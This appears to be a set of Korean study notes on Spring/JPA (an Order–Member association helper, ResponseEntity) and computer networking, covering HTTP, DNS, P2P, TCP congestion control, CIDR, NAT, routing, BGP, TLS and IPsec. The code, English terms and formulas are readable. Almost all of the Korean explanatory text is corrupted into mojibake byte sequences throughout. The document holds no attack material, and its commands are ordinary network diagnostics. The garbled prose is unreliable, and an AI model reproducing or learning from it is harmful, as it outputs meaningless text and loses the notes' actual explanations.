์์ - ์ฐ๊ด๊ด๊ณ ํธ์ ๋ฉ์๋ ์๋ฐฉํฅ ์ฐ๊ด๊ด๊ณ์์ ํ์ชฝ์๋ง ์ค์ ํ๋ฉด ์์ชฝ ๋ค ์ค์ ํด์ฃผ๋ ๋ฉ์๋๋ฅผ ๋ง๋ค ์ ์๋ค
์๋ฐฉํฅ ์ฐ๊ด๊ด๊ณ์ ๊ทธ ํธ์๋ฉ์๋๋ฅผ ์ ์ํ ์ฝ๋์ด๋ค
Member.java
1@OneToMany(mappedBy = "member") 2private List<Order> orders = new ArrayList<>(); 3 4public void addOrder(Order order) { 5 this.orders.add(order); 6 order.setMember(this); 7} Order.java
1@ManyToOne 2@JoinColumn(name="member_id", referencedColumnName = "id") 3private Member member; 4 5public void setMember(Member member) { 6 if (this.member != null) { 7 this.member.getOrders().remove(this); 8 } 9 this.member = member; 10 member.getOrders().add(this); 11} ResponseEntity Spring์์ HttpEntity๋ผ๋ ํด๋์ค๋ฅผ ์ง์ํ๋ค HttpEntity๋ฅผ ์์๋ฐ๋ ๋ ํด๋์ค๊ฐ RequestEntity์ ResponseEntity์ด๋ค RequestEntity๋ http์์ฒญ์ ๋ณด๋ผ๋ ์ฌ์ฉํ๊ณ ResponseEntity๋ http์๋ต์ ํ ๋ ์ฌ์ฉํ๋ค ์ ์ body, header, status๋ฅผ ์ธ์๋ก ๋๊ธธ ์ ์๋ค 1public class ResponseEntity<T> extends HttpEntity<T> { 2 public ResponseEntity(HttpStatusCode status) {...} 3 4 public ResponseEntity(@Nullable T body, HttpStatusCode status) {...} 5 6 public ResponseEntity(MultiValueMap<String, String> headers, HttpStatusCode status) {...} 7 8 public ResponseEntity(@Nullable T body, @Nullable MultiValueMap<String, String> headers, HttpStatusCode status) {...} 9 10 public ResponseEntity(@Nullable T body, @Nullable MultiValueMap<String, String> headers, int rawStatus) {...} 11} ์์ - ResponseEntity ์์ฑ์๋ฅผ ์ด์ฉํ๊ฑฐ๋ builder ํจํด์ ํ์ฉํด์ ์์ฑํ ์ ์๋ค 1return new ResponseEntity<>(object, HttpStatus.valueOf(200)); 2/* ๋๋ */ 3return ResponseEntity.status(HttpStatus.valueOf(200)).body(object); HTTP HTTP Method Method request payload response payload idempotent GET Optional O O HEAD Optional O O POST Yes O X PUT Yes O O DELETE Optional O O CONNECT Optional O X OPTIONS Optional O O TRACE Optional O O PATCH Yes O X HTTP Protocol Version HTTP/1.0 ์ฐ๊ฒฐ๋ฐฉ์ : non-persistent HTTP TCP ์ฐ๊ฒฐ ํ๋ฒ์ ์ต๋ ํ๋์ ๊ฐ์ฒด ๊ฐ ๊ฐ์ฒด๋น 2๊ฐ์ RTT๊ฐ ํ์ HTTP/1.1 ์ฐ๊ฒฐ๋ฐฉ์ : persistent HTTP ์ด์ TCP ์ฐ๊ฒฐ์ ์ฌ์ฌ์ฉ -> ์๋ณต์ง์ฐ์๊ฐ ๊ฐ์ (Connection: Keep-Alive) Pipelining์ผ๋ก ๋ณ๋ ฌ ์์ฒญ๊ณผ ์๋ต (์: HTML+CSS) 1๊ฐ์ TCP์์ ๊ฐ์ฒด๊ฐ ์์ฐจ์ ์ผ๋ก ์ ์ก -> Head-of-line(HoL) ํ์ ๋ฐ์ ์ฌ๋ฌ ๊ฐ์ TCP ์ฐ๊ฒฐ์ ํ์ฉ - ๋ธ๋ผ์ฐ์ ์์ ๋๋ฉ์ธ๋น ์ฐ๊ฒฐ ์ ์ ํ ๋๋ฉ์ธ ์ค๋ฉ(Domain Sharding) : ์ฐ๊ฒฐ ์ ํ์ ํผํ๊ธฐ ์ํด ๋๋ฉ์ธ ์๋ฒ๋ฅผ ์ฌ๋ฌ ๊ฐ ๋๊ธฐ (HTTP/2์์๋ X) HTTP/2 ๋ฐ์ด๋๋ฆฌ ํ๋ ์: ์ฐ์ ์์, ํ๋ฆ์ ์ด, ์๋ฒ ํธ์ ์ฐ์ ์์ ์ง์ : ์ฝํ
์ธ ๊ฐ ๋ก๋๋๋ ์์ ๋ฉํฐํ๋ ์ฑ : TCP์ฐ๊ฒฐ 1๊ฐ๋ก ์ฌ๋ฌ ๋ฐ์ดํฐ ์ ์ก ์๋ฒ ํธ์ : ์๋ฒ๊ฐ ๋ฆฌ์์ค๋ฅผ ์์ธกํ์ฌ ์ ์ก ํค๋ ์์ถ, ํค๋์ ๋ฐ์ดํฐ ๋ถ๋ฆฌ HTTP/3 QUIC ํ๋กํ ์ฝ, UDP ๊ธฐ๋ฐ ๊ธฐํ HTTP Cookie ์น์ฌ์ดํธ ๋ฐฉ๋ฌธ ์ ๊ธฐ๋ก Third-party Cookie ๊ด๊ณ ์ ์ฌ์ฉ HTTP Cache ์ต์ด ์์ฒญ์ ์๋ ์๋ฒ์์ ์ฒ๋ฆฌ, ์ดํ ์์ฒญ์ Proxy(Cache) ์๋ฒ์์ ์ฒ๋ฆฌ CDN (Content Delivery Network) ์ปจํ
์ธ ๋ฅผ ์ ์ธ๊ณ ์ฌ๋ฌ ์ง์ญ์ ๋ฏธ๋ฆฌ ๋ฐฐํฌ Internet protocol traceroute : ํจํท ๊ฒฝ๋ก ์ถ์ netstat -rn, route -n : ๋ผ์ฐํฐ ์ ๋ณด ํ์ธ P2P ๋ฒํด๋ฆฌ์์ผ : ๋ฒํด๋ฆฌ ๋ํ๊ต์์ ๊ฐ๋ฐํ UNIX Socker API IP IP Address IPv4 32bit IPv6 128bit (64bit : network prefix, 64bit : host network identifier) Network identifier + Interface identifier ์ข
๋ฅ : unicast, anycast, link-local, multicast ::1/128 : loopback address Internet ์ฑ๋ฅ ์ธํฐ๋ท ์ฑ๋ฅ ์งํ ์๋(๋์ญํญ, ๋นํธ์ ์ก๋ฅ ) ๋จ์ : BPS ์ธก์ ๋๊ตฌ : iperf ๋งํฌ์ ๋์ญํญ ์ง์ฐ์๊ฐ ๋จ์ : sec ์ธก์ ๋ฐฉ๋ฒ : ๋จ๋ฐฉํฅ ์ง์ฐ์๊ฐ, RTT ์ธก์ ๋๊ตฌ : ping, traceroute ์ข
๋ฅ ์ ์ก ์ง์ฐ : 1bit ์ ์ก์ ๊ฑธ๋ฆฌ๋ ์๊ฐ ์ ํ ์ง์ฐ ํ์ ์ง์ฐ : ์ปดํจํฐ / ๋ผ์ฐํฐ์์ ์ฒ๋ฆฌ๋๊ธฐ๊น์ง ๊ธฐ๋ค๋ฆฌ๋ ์๊ฐ ์ฒ๋ฆฌ ์ง์ฐ : ํจํท ํค๋ ๋๋ ๊ฒฝ๋ก ํ
์ด๋ธ ์ฐพ๋ ์๊ฐ ์์ค๋ฅ ๋จ์ : % ์ธก์ ๋ฐฉ๋ฒ : ์คํจํ ํจํท ์ / ์ ์กํ ํจํท ์ ์ธก์ ๋๊ตฌ : ping ์ฑ๋ฅ์ ํฅ์์ ์ํ ๋ฐฉ๋ฒ HAR(HTTP ARchive format) ํ์ผ ๋ถ์ ๋ธ๋ผ์ฐ์ <-> ์ฌ์ดํธ ๊ฐ์ ํต์ ๋ด์ญ์ JSONํํ๋ก ์ ์ฅํ ํ์ผ Bookmarklet ํ์ฌ ์น์ฌ์ดํธ ๋ถ์ํด์ฃผ๋ ๋ธ๋ผ์ฐ์ add-on ๋ธ๋ผ์ฐ์ ์ต์ ํ css, js, html ์ฐ์ ์์ ๋ถ์ฌ ์์ธกํด์ ๋ฏธ๋ฆฌํ๊ธฐ (์์ ๊ฐ์ ธ์ค๊ธฐ, DNS, TCP ์ฐ๊ฒฐ, Web page Rendering) DNS (Domain Name System) Domain ์ด๋ฆ -> IP ์ฃผ์๋ก ๋ณํ dig ๋ช
๋ น์ด๋ฅผ ํตํด dns ์ ๋ณด ํ์ธ ๊ฐ๋ฅ ํฌํธ๋ฒํธ : 53 Slammer Worm DNS ์๋ฒ ๊ณต๊ฒฉ DNS ๋์ ๋ฐฉ์ UDP(<= 512B),TCP(> 512B) PORT : 53 DNS Query Type A : IPv4 ์ฃผ์ AAAA : IPv6 ์ฃผ์ CNAME : ๋ณ์นญ TLD (Top Level Domain) ๋งจ๋ค์ ๋ถ๋ ๋๋ฉ์ธ (.com, .net, .org ๋ฑ๋ฑ) Authoritative DNS Server DNS ์ ๋ณด์ ํด๋น IP ์ฃผ์๋ฅผ ๊ฐ์ง๊ณ ์๋ ์๋ฒ DNS Caching DDNS (Dynamic DNS) IP์ฃผ์๊ฐ ๊ฐฑ์ ๋๋ฉด DNS ์ ๋ณด ๊ฐฑ์ (๊ฐ์ ์ ๊ณต์ ๊ธฐ) DNS ๊ณต๊ฒฉ DNS Sppofing, DNS cache poisoning, Phising DNSSEC (DNS Security Extensions) ๋ฐ์ดํฐ ์์กฐ-๋ณ์กฐ ๊ณต๊ฒฉ ๋ฐฉ์ง ํ์ค๊ธฐ์ ๊ณต๊ฐํค ์ํธํ๋ฐฉ์์ ์ ์์๋ช
๋์
DoH (DNS over HTTPS) DNS ์ ๋ณด๋ฅผ jsonํ์์ผ๋ก ๋ง๋ค์ด HTTPS ์ ์ก DNS over TLS DNS ์ ๋ณด๋ฅผ TLS๋ก ์ํธํํ์ฌ ์ ์ก SNI (Server Name Indication) : ๋๋ฉ์ธ ์ ๋ณด TLS์์๋ SNI๋ฅผ ์ํธํํ์ง ์์ ํฌํธ๋ฒํธ: 853 P2P ๋ ๋ฐฉ์์ ๋น๊ต 1๊ฐ์ ์๋ฒ N๊ฐ์ file $u_s$: ์๋ฒ ์
๋ก๋ ๋์ญํญ $d_i$: i๋ฒ์งธ peer์ ๋ค์ด๋ก๋ ๋์ญํญ Client-Server ๋ฐฉ์ ๋ฐฐํฌ ์๊ฐ $$ d_{cs} = max(\frac{NF}{u_s},\ \frac{F}{min(d_i)}) $$ P2P ๋ฐฉ์ ์๋ฒ์ ์
๋ก๋ํ๋ ์๊ฐ $$ d*{p2p} = max(\frac{F}{u_s},\ \frac{F}{min(d*{i})},\ \frac{NF}{u_s+\sum{u_i}}) $$ BitTorrent ํ์ผ์ 256KB chunks๋ก ๋ถํ Distributed Hash Table (DHT) ๋ถ์ฐ P2P DB key: hash(content), value: IP address ์ธ์ ํ ์ด์์๊ฒ ํค๋ฅผ ํ ๋น Circular DHT ๊ฐ ํผ์ด๋ ์ธ์ ๋
ธ๋๋ง ์๊ณ ์์ Skype ์ฌ์ฉ์ ๊ฐ P2Pํต์ FTP, SMTP ๋ฉ์ผ๊ด๋ จ ํ๋กํ ์ฝ SMTP: ์ด๋ฉ์ผ ์๋ฒ ์ ์ก ํ๋กํ ์ฝ POP3, IMAP, HTTP: ์ด๋ฉ์ผ ์๋ฒ ์ ๊ทผ ํ๋กํ ์ฝ telnet ํฌํธ๋ฒํธ: 23 ์ ๋ขฐ์ฑ ์๋ ์ ์ก๊ณ์ธต TCP segment ์ ๋ขฐ์ฑ: ์ค๋ฅ ํ์ง/๋ณต๊ตฌ, ์์ ์ ์ก, ์ค๋ณต ์ ๊ฑฐ ํ๋ฆ์ ์ด: ์์ ์์ ์ํ์ ๋ฐ๋ฅธ ์ ์ก๋ ์กฐ์ ํผ์ก์ ์ด: ๋คํธ์ํฌ+์์ ์์ ํผ์ก์ํ์ ๋ฐ๋ฅธ ์ ์ก๋ ์กฐ์ ์ฐ๊ฒฐ๊ด๋ฆฌ UDP segment ์ฐ๊ฒฐ์ ๋ง๋ค์ง ์๋๋ค, ๋น ๋ฅด๋ค, ๋จ์ํ๋ค checksum : ์ค๋ฅ ๊ฒ์ถ ๊ฐ๋ฅ ๊ณตํต ์ง์ฐ์๊ฐ, ๋์ญํญ์ ๋ณด์ฅ์ด ๋์ง ์๋๋ค Stop-and-Wait ARQ ์ก์ ์ ์๋์ฐ ํฌ๊ธฐ: 0 or 1 ์์ ์ ์๋์ฐ ํฌ๊ธฐ : 1 ์ฑ๋ฅ $$d_{trans}=\frac{L}{R}$$ $$U_{sender}=\frac{d_{trans}}{RTT+d_{trans}}$$ Go-Back-N ARQ ์ก์ ์ ์๋์ฐ ํฌ๊ธฐ : $2^m - 1$ ์์ ์ ์๋์ฐ ํฌ๊ธฐ : 1 Selective Repeat ARQ ์ก์ ์ ์๋์ฐ ํฌ๊ธฐ : $2^{m - 1}$ ์์ ์ ์๋์ฐ ํฌ๊ธฐ : $2^{m - 1}$ TCP TCP ๊ฐ์ ์ฐ๊ฒฐ ์งํฅ์ ์ ๋ขฐ์ฑ ์๋ ์ ์ก pipelining : ๋ณ๋ ฌ ์ ์ก Full duplex data : ๋์ผ ์ฐ๊ฒฐ์์ ์๋ฐฉํฅ ๋ฐ์ดํฐ ์ ์ก flow control byte๋จ์ ์ stream ์ ์ก TCP Segment Timeout ์ค์ ์ ๋นํ tcp timeout ๊ฐ ์ค์ ํ์ RTT๋ณด๋ค ๊ธธ์ด์ผํจ ๋๋ฌด ์งง์ผ๋ฉด ๋ถํ์ํ ์ฌ์ ์ก, ๋๋ฌด ๊ธธ๋ฉด ์ธ๊ทธ๋จผํธ ์์ค RTT ์ธก์ $$EstimatedRTT = (1-\alpha)EstimatedRTT + \alpha SampleRTT$$
๋ณดํต $\alpha$ : 0.125 ์ค์ฐจ ๋ฒ์ ๊ณ์ฐ $$ DevRTT = (1-\beta)DevRTT + \beta |SampleRTT - EstimatedRTT| $$ Timeout Interval ๋์ถ $$ TimeoutInterval = EstimatedRTT + 4*DevRTT $$ TCP ์ ๋ขฐ์ฑ ์๋ ์ ์ก cumulative acks pipelined segments timeout -> ์ฌ์ ์ก duplicate acks -> ์ฌ์ ์ก TCP Flow control control ๋์์๋ฆฌ RcvWindow : ์ก์ ์ ์ต๋ ์ ์กํฌ๊ธฐ RcvWindow๋งํผ buffer ๋ด spare room์ผ๋ก ํ๋ค TCP ์ฐ๊ฒฐ ๊ด๋ฆฌ (3-way handshake) ์ฐ๊ฒฐ ์ข
๋ฃ ์๋๋ฆฌ์ค client->server : FIN server->client : ACK + FIN client->server : ACK Socket Programming ์์ผ ์์ฉ ํ๋ก์ธ์ค์ ์ ์ก ๊ณ์ธต ์ฌ์ด์ API ์ฌ๋ฌ๊ฐ์ ํด๋ผ์ด์ธํธ์ ํต์ Multiprocess context switch ๋น์ฉ ๋ฐ์, IPC ํต์ Multithread context switch ๋น์ฉ ๋ฐ์ Select ์ฌ๋ฌ Socket I/O ๋์ ์ฒ๋ฆฌ ๋นํจ์จ์ ์ด๋ค Async ๋น ๋ฅด๋ค ๋ณต์กํ ์ฝ๋, ์ด๋ ค์ด ๋๋ฒ๊น
WebSocket ์ค์๊ฐ ์๋ฐฉํฅ ํต์ ๊ฐ๋ฅ Socket.io Node.js ๊ธฐ๋ฐ์ WebSocket ๊ตฌํ์ฒด ๋ผ์ด๋ธ๋ฌ๋ฆฌ Data Link ๊ณ์ธต ๋งํฌ ๊ณ์ธต์ ์ญํ ๋ฐ์ดํฐ ํ๋ ์์ ์ฃผ๊ณ ๋ฐ๊ธฐ ๋งํฌ์ ์ด, ๋ค์ค์ ๊ทผ, ํ๋ฆ์ ์ด, ์๋ฌ์ ์ด MAC ์ฃผ์ ๋๋ฐ์ด์ค ๊ณ ์ ์ ์๋ณ์, 48bit CIDR ์ฌ์ฉํ๋ ์ด์ Class(A, B, C) ๋จ์ ํ ๋น์ ๋ฐ๋ฅธ ๋นํจ์จ์ ์ธ ์ฃผ์ ๊ด๋ฆฌ BGP ๋ผ์ฐํ
ํ
์ด๋ธ ๊ฐ์ ์ต์ํ ์์ (172.16.150.115/22) ์ฃผ์ ๊ฐ์ : $2^{32-22}-2$ = 1024 - 2 = 1022 ์ฒซ๋ฒ์งธ์ ๋ง์ง๋ง ์ฃผ์๋ ํน์๋ชฉ์ IP๋ผ์ ์ฌ์ฉ ๋ถ๊ฐ ๋คํธ์ํฌ ์ฃผ์ : 172.16.148.0/22 ์ฃผ์ ๊ณต๊ฐ : 172.16.148.0 ~ 172.16.151.255 ๋ธ๋ก๋์บ์คํธ ์ฃผ์ : 172.16.151.255 Network ๊ณ์ธต - IP Network ๊ณ์ธต์ ์ญํ IP ํจํท ์ก์์ , IP ํจํท ์ ๋ฌ, IP ๊ฒฝ๋ก ์ฐพ๊ธฐ Fragmentation MTU(Maximum Transfer Unit) : ๋งํฌ ๊ณ์ธต ํ๋ ์ ํฌ๊ธฐ ์ ํ Ethernet : 1500B MTU ๋ณด๋ค ํฐ IP ํจํท์ ํํธํ, ๋ชฉ์ ์ง์์ ์ฌ์กฐ๋ฆฝ TTL ๋ผ์ฐํ
๋ฃจํ ๋ฐฉ์ง, 0์ด ๋๋ฉด ํ๊ธฐ traceroute : TTL์ ์ด์ฉํ ๋๊ตฌ IP Options IPv4 IPv4 datagram format IP Options Record route, MTU probe/reply, timestamp IHL(Header Length): IP ํค๋ ๊ธธ์ด IP Options ํ๋์ ์ต๋๊ธธ์ด๋ ์ต๋ IPํค๋๊ธธ์ด 60B - IHLํ๋ ์ต์๊ฐ 20B = 40B IP Record Route Option: IP ์ฃผ์ ๊ธฐ๋กํ๋ ์ต์
Subnets ์๋ธ๋ท (Subnets) ๋ผ์ฐํฐ๋ฅผ ๊ฑฐ์น์ง ์๊ณ ๋์ฐฉํ ์ ์๋ ์ธํฐํ์ด์ค์ ์งํฉ
DHCP ํด๋ผ์ด์ธํธ์ IP ์ฃผ์๋ฅผ ์๋์ผ๋ก ํ ๋น, ๊ด๋ฆฌํ๋ ํ๋กํ ์ฝ Ipv6 Ipv6 datagram format IPv4์ ๋น๊ต no checksum no fragmentation / reassembly no options Ipv4 -> Ipv6 ๋ณํ tunneling : IPv6 ํจํท์ IPv4 ํจํท์ ์บก์ํ MiddleBox ์ถ๋ฐ์ง์ ๋ชฉ์ ์ง ์ฌ์ด์์ ip router์ ๊ธฐ๋ฅ์ ์ ์ธํ ๊ธฐ๋ฅ์ ์ํํ๋ ์ค๊ฐ ์์ NAT, Firewalls, Load balancers, Caches Network ๊ณ์ธต - Routing Routing: ๊ธธ ์ฐพ๊ธฐ ๊ธฐ๋ฅ Routing table : Trie ์๋ฃ๊ตฌ์กฐ ์ฌ์ฉ ๋ฐฉ์ : Longest prefix matching Forwarding: ํจํท ์ ๋ฌ ๊ธฐ๋ฅ Forwarding table : ๊ฐ์ฅ ๊ธด ๊ณตํต prefix๋ฅผ ์ฐพ์์ ํจํท ์ ๋ฌ Switching fabrics ๋ผ์ฐํฐ ๋ด๋ถ์์ ํจํท์ ์ ๋ฌํ๋ ๋ฐฉ์
3๊ฐ์ง ์ข
๋ฅ : Memory, Bus, Crossbar ์
๋ ฅ ํฌํธ์์์ ๋ฌธ์ ์
๋ ฅ ํฌํธ์ ์๋ > ์ค์์น ์๋ -> ํ์ ์ง์ฐ ๋ฐ์ Head-of-line(HoL) blocking : ํ์ ์ง์ฐ์ผ๋ก ์ธํด ๋ค๋ฅธ ํจํท๋ค๋ ์ง์ฐ๋๋ ํ์ ์ถ๋ ฅ ํฌํธ์์์ ๋ฌธ์ ์ค์์น ์๋ > ์ถ๋ ฅ ํฌํธ์ ์๋ -> ํจํท ์์ค ๋ฐ์ ํด๊ฒฐ๋ฐฉ๋ฒ ์ด๋ฏธ ๋๊ธฐ ์ค์ธ ํจํท์ ํ๊ธฐ ์๋ก ๋์ฐฉํ ํจํท์ ํ๊ธฐ scheduling policy : FIFO, Round Robin ๋ฑ๋ฑ Transport ๊ณ์ธต - ํผ์ก ์ ์ด ํผ์ก์ ์ด ๊ฐ์ Congestion : ๋คํธ์ํฌ์ ์ฒ๋ฆฌ๋ < ๋ฐ์ดํฐ ์ ์ก๋ ํผ์ก ํ์ง : ์ฌ์ ์ก ํ์ด๋จธ, ์ค๋ณต ACK -> ํจํท ์์ค cwnd : congestion window size Van Jacobson์ด ํฐ ์ํฅ์ ๋ฏธ์นจ MSS(Maximum Segment Size): ์ธ๊ทธ๋จผํธ์ ์ต๋ ํฌ๊ธฐ (๋ฐ์ดํฐ๋ง ํฌํจ) MTU(Maximum Transfer Unit): ์ต๋ ์ ์ก ํฌ๊ธฐ ํผ์ก ์ ์ด ๋ฐฉ๋ฒ AIMD Additive Increase Multiplicative Decrease ๋งค RTT๋ง๋ค cwnd 1MSS ์ฉ ์ฆ๊ฐ ํจํท ์์ค ๊ฐ์ง : cwnd ์ ๋ฐ์ผ๋ก ๊ฐ์ Slow Start ์ด๊ธฐ cwnd: 1 or 10 MSS ๋งค RTT๋ง๋ค cwnd 2๋ฐฐ๋ก ์ฆ๊ฐ ํจํท ์์ค์ window size = 1 ํผ์ก ์ ์ด ์ ์ฑ
TCP Tahoe ์ฒ์์๋ Slow Start, ์ดํ์๋ AIMD 3 duplicate ACKs ๋๋ timeout ๋ฐ์ ์ ์๊ณ์ = window size/2 window size = 1 TCP Reno Tahoe์ ๋น์ทํ๋ค timeout ๋ฐ์์ ์๊ณ์ ์ ๊ทธ๋๋ก window size = 1 3 duplicate Acks์ธ ๊ฒฝ์ฐ ์๊ณ์ = window size/2 window size = window size/2 TCP CUBIC K: window size๊ฐ Wmax์ธ ์์ K ๊ทผ์ฒ์์ ๋๋ฆฌ๊ฒ ์ฆ๊ฐ K ๋ฉ๋ฆฌ์์ ๋น ๋ฅด๊ฒ ์ฆ๊ฐ TCP BBR BBR: Bottleneck Bandwidth and RTT NAT ๊ณต์ ๊ธฐ IP ์ฃผ์ ๋ณํ public IP <-> private IP
์ฃผ์ ๋ฟ๋ง ์๋๋ผ ํฌํธ๋ ๋ฐ๋๋ค
๊ณต์ ๊ธฐ addr-port mapping table์ ์์ฑ๊ณผ ์ญ์
๋ด๋ถ->์ธ๋ถ ์์ฑ : TCP/UDP ์ต์ด ํจํท ์ก์ ํ ์ญ์ : ํ์ด๋จธ/TCP ์ฐ๊ฒฐ ์ข
๋ฃ ๋ฉ์์ง ์์ ํ ์ธ๋ถ->๋ด๋ถ ์์ฑ : ๋ด๋ถ์์ ํธ๋ํฝ ์์ฑ ๋๋ ์๋ ์ญ์ : ํ์ด๋จธ/TCP ์ฐ๊ฒฐ ์ข
๋ฃ ๋ฉ์์ง ์์ ํ ๋๋ ์๋ ํฌํธ ํฌ์๋ฉ : ๊ณต์ ๊ธฐ ๋ด๋ถ์ ์๋ฒ์ ์ ๊ทผํ๊ธฐ ์ํ ํฌํธ(TCP) ๊ฐ๋ฐฉ ๊ธฐ๋ฅ
๊ณต์ ๊ธฐ ์ ๋ณด ํ์ธํ๋ ๋ช
๋ น์ด : netstat -rn, ifconfig, iptables -t nat -L -vn
๊ณต์ ๊ธฐ์ ๊ณ์ธต
L7(์์ฉ๊ณ์ธต) : DNS ์๋ฒ L3(๋คํธ์ํฌ ๊ณ์ธต) : IP Router + ์ฃผ์ ๋ฒ์ญ๊ธฐ + DHCP L2(๋ฐ์ดํฐ ๋งํฌ ๊ณ์ธต) : Bridge, ์ด๋๋ท ์ค์์น, Wifi L1(๋ฌผ๋ฆฌ ๊ณ์ธต) IP Routing L3(Network layer) ์ญํ forwarding (data plane): ๋จ์ ํจํท ์ ๋ฌ routing (control plane): ํจํท ์ ๋ฌ ๊ฒฝ๋ก ๊ฒฐ์ control plane์ ๊ตฌ์กฐ Per-router control plane : ๋ผ์ฐํฐ๋ง๋ค ๋ผ์ฐํ
์๊ณ ๋ฆฌ์ฆ์ ์ํ SDN(Software Defined Networking) : ์ค์์ง์ค์ ๋ผ์ฐํ
์๊ณ ๋ฆฌ์ฆ Routing Protocols link state (centralized, global) ์ถ๋ฐ์ง์์ ๋ชฉ์ ์ง๊น์ง ๋ฐ๋ณตํ๋ฉฐ ์ต๋จ ๊ฒฝ๋ก๋ฅผ ๊ณ์ฐ dijkstra ์๊ณ ๋ฆฌ์ฆ ์ฌ์ฉ ์๊ฐ๋ณต์ก๋(n๊ฐ์ node) : $O(n^2)$ oscillation ๋ฐ์ ๊ฐ๋ฅ : ๋ผ์ฐํ
ํ
์ด๋ธ์ด ์๋ ดํ์ง ์๋ ํ์ distance vector : ์ธ์ ํ ๋ผ์ฐํฐ์๊ฒ๋ง ์ ๋ณด ์ ๋ฌ ๊ฐ ๋
ธ๋์์ ๋๊ธฐ์ ์ผ๋ก ์ต๋จ ๊ฒฝ๋ก๋ฅผ ๊ณ์ฐ bellman-ford ์๊ณ ๋ฆฌ์ฆ ์ฌ์ฉ link cost๊ฐ ๋ฐ๋๋ฉด local dv๋ฅผ ๋ค์ ๊ณ์ฐ, ๋ฐ๋ dv๋ฅผ ์ธ์ node์ ์ ๋ฌ count-to-infinity ๋ฌธ์ : ๋ผ์ฐํ
๋ฃจํ ํ์ poisoned reverse : count-to-infinity ํด๊ฒฐ ๋ฐฉ๋ฒ path vector Inter-AS routing protocol ๋ผ์ฐํฐ ์๊ฐ ๋ง์์ ธ๋ ์๋ ๊ฐ๋ฅํ๊ฒ ํ๊ธฐ ์ํด ์ฌ์ฉ intra-AS routing protocols : RIP, EIGRP, OSPF RIP (Routing Information Protocol) DV algorithm ์ฌ์ฉ ๋ฃจํ ํ์ง๋ฅผ ์ํ ๋ฐฉ๋ฒ : poison reverse ์ด์ ๋ ์ ์ฌ์ฉํ์ง ์์ EIGRP (Enhanced Interior Gateway Routing Protocol) DV ๊ธฐ๋ฐ cisco OSPF (Open Shortest Path First) classic link-state ๋ชจ๋ OSPF๋ฉ์์ง๋ ์ธ์ฆ๋จ Hierarchical routing : local area, backbone ๋ ๊ฐ์ ๋ ๋ฒจ๋ก ๊ตฌ์ฑ boundary router : AS๊ฐ ๋ผ์ฐํฐ local router : local ๋ด๋ถ ๋ผ์ฐํฐ area border router : local๊ณผ backbone์ ์ฐ๊ฒฐํ๋ ๋ผ์ฐํฐ Inter-AS routing BGP BGP (Border Gateway Protocol): ์ธํฐ๋ท ์์ AS๊ฐ ๋ผ์ฐํ
ํ๋กํ ์ฝ eBGP : ์ธ์ ํ AS๊ฐ ๋ผ์ฐํ
์ ๋ณด ๊ตํ iBGP : AS ๋ด๋ถ ๋ผ์ฐํฐ๋ค์๊ฒ ๋ผ์ฐํ
์ ๋ณด ์ ๋ฌ BGP session : BGP routers๋ TCP๋ก ์ฐ๊ฒฐ๋จ BGP path: prefix + attributes prefix: IP ์ฃผ์ AS-PATH: AS ๋ฆฌ์คํธ NEXT-HOP: ๋ค์ AS๋ก ํฅํ๋ ๋ผ์ฐํฐ ์ฃผ์ BGP messages OPEN : TCP ์ฐ๊ฒฐ ์ค์ UPDATE : ์ ๊ฒฝ๋ก๋ฅผ ๊ณต์ (๋๋ ์ด์ ์ฐ๊ฒฐ ์ฒ ํ) KEEPALIVE : UPDATES ์์ด ์ฐ๊ฒฐ ์ ์ง NOTIFICATION : ์ค๋ฅ ๋ณด๊ณ BGP ๊ฒฝ๋ก ์ ํ ๋ฐฉ๋ฒ ํฐ weight ํฐ local preference ์งง์ AS-PATH ๊ฐ๊น์ด NEXT-HOP MED (Multi-Exit Discriminator) Transport ๊ณ์ธต - ๋ณด์ TLS(Transport Layer Security) ํ์ค SSL 3.0 -> IETF TLS 1.0 -> TLS 1.2 -> TLS 1.3 HTTPS = TCP + TLS + HTTP Network Security์ ๊ตฌ์ฑ์์ Confidentiality (๊ธฐ๋ฐ์ฑ) Authentication (์ธ์ฆ) Message Integrity (๋ฌด๊ฒฐ์ฑ) Access & Availability (๊ฐ์ฉ์ฑ) ์ํธํ ๋ชจ์ (Cipher Suite) ํค ๊ตํ ์๊ณ ๋ฆฌ์ฆ: Diffie-Hellman ์ธ์ฆ: RSA (๊ณต๊ฐํค) ์ํธํ: AES (๋์นญํค) ๋ฌด๊ฒฐ์ฑ: SHA256 (ํด์) TLS Handshake ํ๋กํ ์ฝ์ ๊ณผ์ Client Hello : ๋ฒ์ , ์ฌ์ฉ๊ฐ๋ฅํ ์ํธํ ์ข
๋ฅ Server Hello : ์ํธํ ์ข
๋ฅ Certificate : ์ธ์ฆ์ Server Hello Done Client Key Exchange : Pre-Master Secret ์์ฑ ํ ์ ์ก Change Cipher Spec : ์ํธํ ์ข
๋ฅ ์ ํ Change Cipher Spec Finished : ์ํธํ ์ข
๋ฅ ์ ํ ์๋ฃ SSL/TLS ์ธ์ฆ์ ์๋น์ค ์ ๋ณด : ๋ฐ๊ธํ CA, ๋๋ฉ์ธ ๋ฑ CA(Certificate Authority) : ์ธ์ฆ์ ๋ฐ๊ธ ๊ธฐ๊ด TLS 1.2์ TLS 1.3์ ๋น๊ต IP ๊ณ์ธต - ๋ณด์ ์ํธํต์ - IP Sec IP ํจํท์์ encryption, authentication, integrity 2๊ฐ์ง ๋ชจ๋ transport mode: 1๊ฐ์ datagram payload๋ง ์ํธํ tunnel mode: ์ ์ฒด datagram์ด encrypted, authenticated ํ๋กํ ์ฝ AH(Authentication Header): ์ธ์ฆ, ๋ฌด๊ฒฐ์ฑ ๋ณด์ฅ ESP(Encapsulating Security Payload): ์ธ์ฆ, ๋ฌด๊ฒฐ์ฑ, ๊ธฐ๋ฐ์ฑ ๋ณด์ฅ SAs(Security Associations) ๋ฐ์ดํฐ๋ฅผ ๋ณด๋ด๊ธฐ ์ SA ์์ฑ IP: ๋น์ฐ๊ฒฐ์ฑ, IPsec: ์ฐ๊ฒฐ์ฑ SPI(Security Parameter Index): SA๋ฅผ ์๋ณํ๋ ๊ฐ IPsec datagram (tunnel mode, ESP) ESP trailer: block ์ํธํ๋ฅผ ์ํ padding ESP header IKE (Internet Key Exchange) ๊ธฐ์กด ๋ฐฉ์ : ์๋ ํค๋ก IPSec SA๋ฅผ ์์ฑ endpoint๊ฐ ๋ง์ ๊ฒฝ์ฐ ์๋ ํค ๊ด๋ฆฌ๊ฐ ์ด๋ ค์ -> IPsec IKE ์ฌ์ฉ ์ํธ ํต์ - ๋์นญํค, ๊ณต๊ฐํค, ์ ์์๋ช
์ํธ (cryptography) ๊ธฐ์ด ์ฉ์ด
